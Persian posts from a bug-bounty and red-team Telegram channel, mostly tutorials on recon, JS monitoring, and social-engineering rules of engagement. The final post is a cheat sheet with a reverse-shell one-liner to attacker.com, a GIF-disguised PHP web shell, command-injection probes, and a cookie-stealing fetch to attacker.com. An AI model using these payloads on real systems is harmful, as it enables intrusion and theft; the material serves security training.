نکته آموزشی خوبی که این پرسش داره , یکی از بچه های فعال در حوزه باگ بانتی داخل کانال شخصی خودش منتشر کرد

واقعیت ماجرا اینه که تمام کاراکتر هایی که هست رو میشه سمت سرور فرستاد حتی “
یعنی حتی شما به روش های زیر میتونید “ رو هم سمت سرور بفرستید :
‌

1. use unicode \u002
2. escape with \”
3. change body hex code and manipulate hex code

اما سمت بکند و سرور ممکنه json parse نشه یا امکان داره بخاطر missconfig و یا Oldschool server درخواست json parse بشه و حتی منجر به SQLi , XSS , etc بشه

──────────────
📡 Follow : 👉 @zerosec_team

بنظرتون دلیل این تغییرات

403 -> 200

چی میتونه باشه دقیقا developer اون پشت داره چیکار میکنه؟!
آیا اصلا ارزش داره روی این تارگت ها وقت گذاشت؟!

Chat -> https://news.1rj.ru/str/c/zerosec_group/6

1. تغییر سیاست دسترسی (Access Policy)

تا دیروز صفحه‌ای فقط برای کاربران خاص (مثلاً ادمین) قابل دسترسی بوده

اما الان تصمیم گرفتن دسترسی رو باز کنن برای همه کاربران

مثال: صفحه‌ی /docs/internal.html
قبلاً فقط کارمندها می‌دیدن (403 برای بقیه)
اما الان برای عموم باز شده (200)

2. برداشتن محدودیت‌ها برای تست یا انتشار
برای تست یا باز کردن موقت دسترسی به ویژگی جدید
یا اشتراک گذاشتن URL خاص با شخصی بدون نیاز به لاگین

3. جابجایی از WAF یا CDN به سرور مستقیم

قبلاً دسترسی از طریق فایروال (مثلاً Cloudflare) مسدود می‌شده
الان تنظیمات رو عوض کردن یا برداشتن و ترافیک مستقیماً می‌ره سمت سرور

دلیلش می‌تونه ساده باشه: دردسر WAF، خطای False Positive، یا تست Load

4. اشتباه در تنظیمات (Misconfiguration)

دولوپر یا DevOps هنگام تغییرات سروری یا permission ها، سهواً دسترسی رو باز کرده
مخصوصاً وقتی چند نفر همزمان روی سیستم کار می‌کنن
به‌خصوص توی AWS S3، Apache، NGINX، GitHub Pages این اشتباهات زیاد پیش میاد

5. تغییر در لاجیک برنامه (Authorization Logic)

مثلاً قبلاً شرطی برای جلوگیری از دسترسی غیرمجاز بوده:

if not user.is_admin():
return 403

ولی حالا این شرط رو حذف کردن چون نقش‌بندی عوض شده یا صفحه
عمومیه

6. ورود به فاز عمومی (Public Release)

صفحه‌ای که قبلاً برای تست داخلی بود، حالا رسماً عمومی شده

بنابراین از 403 → 200 تغییر کرده

7. باز کردن مسیر برای موتورهای جست‌وجو (SEO)

گاهی صفحه‌ای قبلاً بسته بوده به دلیل نگرانی امنیتی

اما الان تصمیم می‌گیرن برای ایندکس شدن در گوگل بازش کنن


و در نهایت قسمت هایی که bold شده محتمل تر نسبت به بقیه است

──────────────
📡 Follow : 👉 @zerosec_team

TOX :

CC82B25E3F853BDE5F5C78C3FB83EB8E71C4AF26E7AA4F1AD17B007F767FBC2379198725DE23

آدرس TOX برای ارتباط با تیم

📊 Watcher Summary Report

🔹 BUGCROWD: 0 new item
🔹 HACKERONE: 0 new item
🔹 INTIGRITI: 0 new item
🔹 YESWEHACK: 0 new item
🔹 FEDERACY: 0 new item

🔗 Details: Click here

#zerosec #bugbounty #watcher #summary_report

──────────────
📡 Follow :
👉 @zerosec_team

🎯 چطوری Web Pentest به Initial Access کمک می‌کنه؟

✅ ۱. آسیب‌پذیری‌های RCE / Command Injection

اگر وب‌سایت یا API آسیب‌پذیر به Remote Code Execution یا Command Injection باشه،
مستقیم می‌تونی دستور بفرستی روی سرور اجرا بشه و یه reverse shell بگیری.
مثال ابزار: nuclei, commix, sqlmap --os-shell

💥 نتیجه: Initial Access کامل به سیستم

✅ ۲. File Upload Vulnerabilities

اگه بتونی یه فایل مخرب مثل web shell یا PHP backdoor آپلود کنی (و اجرا بشه)،
به راحتی می‌تونی کنترل بگیری.

مخصوصاً توی CMSهایی مثل WordPress یا پنل‌های ضعیف مدیریت

✅ ۳. SSRF (Server-Side Request Forgery)

با SSRF می‌تونی سرور رو مجبور کنی درخواست‌هایی بفرسته به داخل شبکه خودش (مثلاً به AWS Metadata یا پنل ادمین پشت NAT)

خیلی از حملات Lateral Movement یا Credential Theft از SSRF شروع می‌شن.

✅ ۴. SQL Injection (با دسترسی به shell)

گاهی می‌تونی از SQLi به OS Command Execution برسی یا حتی فایل استخراج کنی،
و Credential بگیری (مثلاً پسورد هش‌شده Admin، دسترسی به سرور DB)

✅ ۵. XSS + Session Hijacking

XSS می‌تونه منجر به سرقت کوکی‌ها یا توکن‌های احراز هویت Admin بشه
و بعدش می‌تونی وارد پنل ادمین بشی و از اون‌جا آسیب بزنی یا فایل آپلود کنی.

✅ ۶. Misconfigured Subdomains / S3 Buckets

ساب‌دامنه‌ها یا سرورهای ذخیره‌سازی اشتباه پیکربندی‌شده می‌تونن راهی برای دسترسی اولیه باشن.

از طریق تکنیک‌های Subdomain Takeover یا دسترسی به فایل‌های حساس

✅ ۷. Exploiting Forgotten Panels or Old CMS

خیلی وقتا توی recon یه ساب‌دامین پیدا می‌کنی که یه پنل متروکه روش نصبه یا یه نسخه قدیمی از CMS مثل Joomla
و اون می‌تونه گیت ورودت باشه.

──────────────
📡 Follow : 👉 @zerosec_team

Insecure authentication due to missing brute-force protection and runtime manipulation in Two App Studio Journey v5.5.9 for iOS (CVE-2025-41459)
Journey is a journaling app for iOS that stores personal entries and media
https://cirosec.de/en/news/vulnerability-in-two-app-studio-journey/ ──────────────
📡 Follow : 👉 @zerosec_team

🔍 چرا باید فایل‌های JS را با هش مانیتور کنیم؟

1. تشخیص تغییرات محتوا بدون نیاز به تحلیل دستی :

با محاسبه هش (مثلاً با الگوریتم SHA256) از فایل‌های JS و ذخیره‌ی آن‌ها، می‌توان به‌سرعت متوجه شد که آیا در روزهای بعدی محتوای فایل تغییر کرده یا خیر.
این کار برای فایل‌هایی که ممکن است ده‌ها یا صدها خط کد داشته
باشند بسیار کاربردی است.

2. شناسایی اضافه‌ شدن نقاط حمله جدید (New Attack Surface) :

تغییر در JS ها ممکن است نشان ‌دهنده‌ی اضافه‌ شدن endpoint های جدید API، پارامترهای جدید، مسیرهای پنهان، یا تغییر رفتارهای مهم در سمت کلاینت باشد.
این تغییرات می‌توانند مستقیماً منجر به کشف آسیب‌پذیری شوند.

3. کشف درج کدهای مشکوک یا مخرب :

اگر یک فایل JS توسط تیم توسعه یا شخص ثالث به‌روزرسانی شود و به‌صورت ناخواسته یا مخرب شامل کدی مانند eval(), fetch() با دامنه‌های ناشناس، یا توکن‌های hardcoded باشد، هش فایل تغییر می‌کند و می‌توان این تغییر را شناسایی کرد.

4. قابلیت اتومیشن و مقیاس‌پذیری بالا :

این روش به‌راحتی قابل پیاده‌سازی با اسکریپت‌های ساده‌ی Bash یا Python است و می‌توان آن را روی چندین تارگت و فایل به‌صورت روزانه اجرا کرد، بدون نیاز به تحلیل محتوای هر فایل.

──────────────
📡 Follow : 👉 @zerosec_team

امروزه وب اپلیکیشن های مدرن (SPA) ها مثل :
‌React, vueJs , Angular ,…
اغلب به صورت خودکار در انتهای نام فایل JS یک هش (Hash) به عنوان یک شناسه منحصر به فرد میچسبونن هربار که شما کد رو تغییر میدید و اصطلاحا rebuild میکنید چون محتوا فرق داره هش تغییر میکنه و در نتیجه نام فایل JS جدید میشه

چرا url های فایل js تغییر میکند؟

۱- مرورگرها فایل هارو کش میکنن تا سرعت بارگزاری بالاتر بره و مصرف پنهای باند کم بشه اگر url تغییر نکنه ممکنه مرورگر فایل قدیمی رو نشون بده


راه حل برای مانیتور کردن JS فایل های مدرن وب اپ ها :‌

هر روز همه فایل های JS رو دانلود کن و hash کن و تمام فایل هایی هایی که امروز hash کردی با دیروزیا مقایسه کن آیا ببین این hash قبلا وجود داشته یا نه ؟
در این روش مهم نیست url عوض شده باشه یا نه فقط محتوا مهمه اگر hash جدید در hash قبلی بود که همونه اگر نبود پس یه چیز جدیده و let’s hunt

──────────────
📡 Follow : 👉 @zerosec_team

📊 Watcher Summary Report

🔹 BUGCROWD: 8 new items
🔹 HACKERONE: 2 new items
🔹 INTIGRITI: 0 new item
🔹 YESWEHACK: 0 new item
🔹 FEDERACY: 0 new item

🔗 Details: Click here

#zerosec #bugbounty #watcher #summary_report

──────────────
📡 Follow :
👉 @zerosec_team

ولی کلا تحت هر شرایطی کلاه سفید باشید بچه ها 😁

──────────────
📡 Follow :
👉 @zerosec_team

بچه هایی که تازه میخوان رد تیم رو شروع کنن توصیه میشه بهشون کتاب خوبیه
#book #کتاب

──────────────
📡 Follow :
👉 @zerosec_team

هی پسر کوچولو :
خاله نیوشا ازت میخواد همین الان یک باگ کریتیکال بزنی

فکت :‌
باگ بانتی مایندست هکرارو رو خراب کرده

آخر هفته خوبی داشته باشید✌️❤️

📊 Watcher Summary Report

🔹 BUGCROWD: 1 new item
🔹 HACKERONE: 12 new items
🔹 INTIGRITI: 0 new item
🔹 YESWEHACK: 0 new item
🔹 FEDERACY: 0 new item

🔗 Details: Click here

#zerosec #bugbounty #watcher #summary_report

──────────────
📡 Follow :
👉 @zerosec_team

به نظر میرسه تلگرام، کانال گروه‌ های «تپندگان» و «عدالت علی» را به دلیل ریپورت های فراوان مسدود
کردند

──────────────
📡 Follow :
👉 @zerosec_team

💡 اهمیت مهندسی اجتماعی در رد تیم:
1. عبور از لایه‌های فنی امنیتی

فایروال، آنتی‌ویروس، WAF و سایر سیستم‌ها ممکنه نفوذ فنی رو سخت کنن، اما کارمند ساده‌ی بخش منابع انسانی ممکنه با یک تماس تلفنی فیشینگ، اطلاعات ورود رو در اختیار بذاره.
2. تست امنیت واقعی سازمان

هدف رد تیم، سنجش توانایی تشخیص و پاسخ به تهدیدات واقعیه. حملات مهندسی اجتماعی از رایج‌ترین روش‌های نفوذ در دنیای واقعی‌ان، پس باید تست بشن.
3. جمع‌آوری اطلاعات اولیه (OSINT)

مهندسی اجتماعی باعث دسترسی به اطلاعاتی میشه که به روش فنی قابل دسترسی نیستند: مثلاً شماره داخلی یک مدیر یا ساختار دقیق سازمان.
4. شبیه‌سازی حملات APT

حملات APT واقعی معمولا با مهندسی اجتماعی شروع می‌شن (مثلاً spear phishing). رد تیم باید این‌ها رو شبیه‌سازی کنه.

──────────────
📡 Follow : 👉 @zerosec_team

✅ بایدها:

🔍 جمع‌آوری دقیق اطلاعات (OSINT)
قبل از هر حمله، باید همه‌چیز رو درباره هدف بدونی: ساختار سازمان، ایمیل کارمندان، شماره‌ها، ابزارهای مورد استفاده و...

🎯 تعریف هدف مشخص
آیا دنبال دسترسی به شبکه‌ای؟ کرنشیال؟ فایل خاص؟ همیشه هدفتو مشخص و مستند کن.

🎭 ساخت سناریوی باورپذیر
سناریوت باید واقعی به نظر برسه. مثلاً پشتیبان فنی، مسئول استخدام، یا بازرس امنیتی باشی.

🎬 تمرین اجرای سناریو
قبل از اجرا، سناریوت رو تمرین کن. لحن، زبان بدن، دیالوگ‌ها باید حرفه‌ای باشن.

🛡 هماهنگی با کارفرما
محدوده‌ها، مجوزها و محدودیت‌ها باید در قالب Rules of Engagement (ROE) از قبل توافق بشن.

📝 مستندسازی
هر کاری که انجام دادی، موفق یا ناموفق، باید دقیق لاگ بشه. مخصوصاً برای گزارش نهایی.

_____________________________________

❌ نبایدها:

🚫 آسیب روحی به کارمندان
فریب باید کنترل‌شده باشه، نه باعث تحقیر، ترس یا استرس شدید.

🚫 تهدید یا اجبار
هیچ‌وقت از تهدید یا زبان توهین‌آمیز برای تست استفاده نکن.

🚫 خروج از محدوده
هر اقدامی خارج از محدوده‌ی تعیین‌شده (Scope) یعنی عبور از خط قرمز قانونی و اخلاقی.

🚫 ضبط مخفیانه بدون مجوز
ضبط صدا یا تصویر بدون اجازه ممکنه دردسر حقوقی داشته باشه.

🚫 تغییر داده‌های واقعی
وظیفه تو تخریب نیست؛ فقط باید ضعف‌ها رو نشون بدی.

🚫 افشای اطلاعات به خارج از تیم
اطلاعات جمع‌آوری‌شده فقط باید با کارفرما و تیم مجاز به اشتراک گذاشته بشه.

──────────────
📡 Follow : 👉 @zerosec_team

📊 Watcher Summary Report

🔹 BUGCROWD: 0 new item
🔹 HACKERONE: 27 new items
🔹 INTIGRITI: 10 new items
🔹 YESWEHACK: 0 new item
🔹 FEDERACY: 0 new item

🔗 Details: Click here

#zerosec #bugbounty #watcher #summary_report

──────────────
📡 Follow : 👉 @zerosec_team

🎯 اکسپلویت آسیب‌پذیری‌های وب برای دسترسی اولیه (Initial Access)

یه لیست توپ از تریک‌هایی که می‌تونی باهاشون از راه وب اپ دستتو بندازی داخل👇

🔥 1. RCE (Remote Code Execution)

مستقیم شل بفرست:

bash -i >& /dev/tcp/attacker.com/4444 0>&1

با curl یا wget اسکریپت اجرا کن
bypass فایروال با base64 یا ${IFS}

📂 2. File Upload

آپلود شل php، aspx، jsp
دور زدن فیلتر با:
shell.php.jpg یا shell.pHp
آپلود تصویری با کد PHP داخلش

GIF89a<?php system($_GET['cmd']); ?>

💉 3. SQL Injection → RCE

INTO OUTFILE برای ریختن شل روی سرور
MSSQL و xp_cmdshell برای اجرای دستور مستقیم

🧬 4. Command Injection

تست با: ;id, |whoami, && curl
استفاده از ${IFS} یا $(command)

🔁 5. SSRF → RCE یا Info Leak

دسترسی به metadata سرور:

http://169.254.169.254/...

اتصال به Redis بدون پسورد برای نوشتن SSH Key

🔐 6. Auth Bypass → دسترسی به Admin Panel

JWT با الگوریتم none
تست مسیرهایی مثل /admin، /debug

📦 7. Deserialization → RCE

با ysoserial یا PHPGGC پِیلود بساز
اجرا از طریق پارامترهایی که داده سریال‌شده می‌گیرن

📁 8. LFI → RCE

Poison کردن لاگ با شل
Include کردن sessionهای PHP
Log read از مسیر:

/var/log/apache2/access.log

⚡ 9. XSS → سرقت کوکی admin یا CSRF

Stored XSS برای اجرا روی پنل ادمین
دزدیدن کوکی با:

fetch("https://attacker.com?c="+document.cookie)

⚙️ 10. Misconfig → Access

phpMyAdmin بی‌پسورد
Jenkins باز
.env یا .git لو رفته
configهای AWS و DB بدون حفاظت

_______________________________
📡 Join us 👉 @zerosec_team